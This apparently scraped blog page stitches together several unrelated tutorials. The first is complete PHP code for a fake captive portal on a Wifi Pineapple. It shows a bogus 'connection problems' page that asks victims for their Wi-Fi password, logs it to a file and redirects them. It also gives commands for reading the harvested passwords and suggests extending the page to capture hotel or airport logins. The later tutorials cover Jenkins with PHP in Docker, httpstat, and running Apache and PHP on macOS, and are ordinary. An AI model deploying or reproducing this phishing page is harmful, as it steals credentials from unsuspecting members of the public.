Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).

Objectives

Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.

Precondition

To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000
<?php
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';
}

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

Fake captive portal from Pineapple

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

PHP QA Tools and Docker Jenkins

This Tutorial is about some simple PHP QA Tools and Docker Jenkins. I will show near how to install PHP and PHP Composer in an Jenkins Alpine Linux Docker inclusive some needed Jenkins PlugIns.

Note

If you have an running Docker Container already which you cannot stop, you can install needed packages directly via:

# list containers (optional)
$ docker ps -a

# access running container as root
$ docker exec -u 0 -it <Container Name> sh

# install packages and exit container
...

Now you can use the same commented commands as provided via Dockerfile. Otherwise follow next steps.

Let’s go

# create new project
$ mkdir -p ~/Projects/DockerJenkins && cd ~/Projects/DockerJenkins/

# create Dockerfile and plugins.txt
$ touch Dockerfile plugins.xt

# modify Dockerfile
$ vim Dockerfile

# modify plugins.txt
$ vim plugins.txt
FROM jenkins/jenkins:lts-alpine

USER root

RUN apk update && apk upgrade

# install needed libary packages
RUN apk --no-cache add libssh2 libpng freetype libjpeg-turbo libgcc \
libxml2 libstdc++ icu-libs libltdl libmcrypt

# install needed PHP packages
RUN apk --no-cache add php7 php7-fpm php7-opcache php7-gd php7-pdo_mysql \
php7-mysqli php7-mysqlnd php7-mysqli php7-zlib php7-curl php7-phar \
php7-iconv php7-pear php7-xml php7-pdo php7-ctype php7-mbstring \
php7-soap php7-intl php7-bcmath php7-dom php7-xmlreader php7-openssl \
php7-tokenizer php7-simplexml php7-json

# Download and install composer installer
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
RUN php -r "if (hash_file('SHA384', 'composer-setup.php') === '544e09ee996cdf60ece3804abc52599c22b1f40f4323403c44d44fdfdd586475ca9813a858088ffbc1f233e9b180f061') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
RUN php composer-setup.php
RUN mv composer.phar /usr/local/bin/composer
RUN chmod +x /usr/local/bin/composer
RUN rm -f composer-setup.php

USER jenkins

# install plugins from plugins.txt
COPY plugins.txt /usr/share/jenkins/ref/plugins.txt
RUN /usr/local/bin/install-plugins.sh < /usr/share/jenkins/ref/plugins.txt
checkstyle:3.50
analysis-core:1.95
dry:2.50
pmd:3.50
violations:0.7.11

That was it! Now build the image, start and work with jenkins.

# build image from Dockerfile
$ docker build -t lupin/jenkins:lts-alpine .

# list images (optional)
$ docker images

# start container
$ docker run --name JenkinsPHP -p 8080:8080 lupin/jenkins:lts-alpine

Test

After starting, configuring and logging, you can see the already installed plugins in the Jenkins PlugIns!

Jenkins PlugIns

To test, you can create a simple freestyle job. Here you configure the repository, build steps and post-build actions. After a few runs, the results should be visible on the project side.

CURL visualization via httpstat

CURL is awesome … but sometimes the feature for visualization of statistics is missing. Exactly here helps httpstat as an wrapper.

httpstat is available for different languages:

Prepare project

Since I am a Python lover I will also work with my favorite language provided by Xiao Meng. It’s a single file with no dependencies and compatible to Python 2.7 and 3.

# create project folder
$ mkdir -p ~/Projects/httpstat && cd ~/Projects/httpstat

# download python script
$ curl -C - -O https://raw.githubusercontent.com/reorx/httpstat/master/httpstat.py

# change file permission
$ chmod u+x httpstat.py

Usage examples

# show help
$ python httpstat.py --help

# show simple GET statistics
$ python httpstat.py -k https://softwaretester.info/

# show html body (truncated)
$ export HTTPSTAT_SHOW_BODY=true
$ python httpstat.py -k https://softwaretester.info/

# show download and upload speed
$ export HTTPSTAT_SHOW_SPEED=true
$ python httpstat.py -k https://softwaretester.info/

Note: httpstat has a bunch of environment variables, please use help!

Yosemite – Apache and PHP at user level

Mac OS X include Apache server and PHP, but since some version by default only at root level. To start the Apache on root level simple use the following commands.

# start Apache
$ sudo apachectl start

# restart Apache
$ sudo apachectl restart

# stop Apache
$ sudo apachectl stop

After starting the Apache server, on browser you can use the URL “http://localhost”. You should see something like: “It Works”. The location for files is “/Library/WebServer/Documents/”.

Small note
I have to apologize! The security policies of my provider do not allow the usage or combination for special words. Therefore, at various points images were used.

User level

Now we create the Apache on user level with a few configuration steps.

# Create folder (if not exists)
$ mkdir ~/Sites

Inside this folder create a simple PHP file (index.php)

<?php phpinfo(); ?>

In the third step, the configuration file of the user is created. The name always includes the user name!

$ cd /etc
$ vi /apache2/users/<username>.conf

Add the following content and save

<Directory "/Users/<username>/Sites/">
  AllowOverride All
  Options Indexes MultiViews FollowSymLinks
  Require all granted
</Directory>

Check the access permissions for “-rw-r–r–” or “664”!┬áTo enable the configuration, open the “httpd-userdir.conf” and uncomment one line above <IfModule>.

$ cd /etc
$ sudo vi apache2/extra/httpd-userdir.conf

httpd-userdir.conf

In the last step, only the correct modules must be loaded.

configuration

Now uncomment the LoadModule lines for “mod_userdir.so” and “libphp5.so” and include for user home.

LoadModule userdir_module libexec/apache2/mod_userdir.so
LoadModule php5_module libexec/apache2/libphp5.so

user home include

Thats it! If you now start/restart the Apache and call the URL “http://localhost/~<username>/” in your browser, you should see the parsed content of PHP file.

Fast PHP server

Since PHP 4.x, there is a CLI SAPI web server. As a tester you simply go to the folder and start the server.

Example

# change to directory where server should start
$ cd /path/to/folder

# start server with specific port
$ php -S localhost:8100

Now start your browser and insert the URL “localhost:8100”. With “Ctrl+c” you can stop the server.

Extended

# explicit document root
$ cd /path/to/folder
$ php -S localhost:8100 -t foo/bar/

# specific configuration
$ cd /path/to/folder
$ php -S localhost:8100 -c php.ini
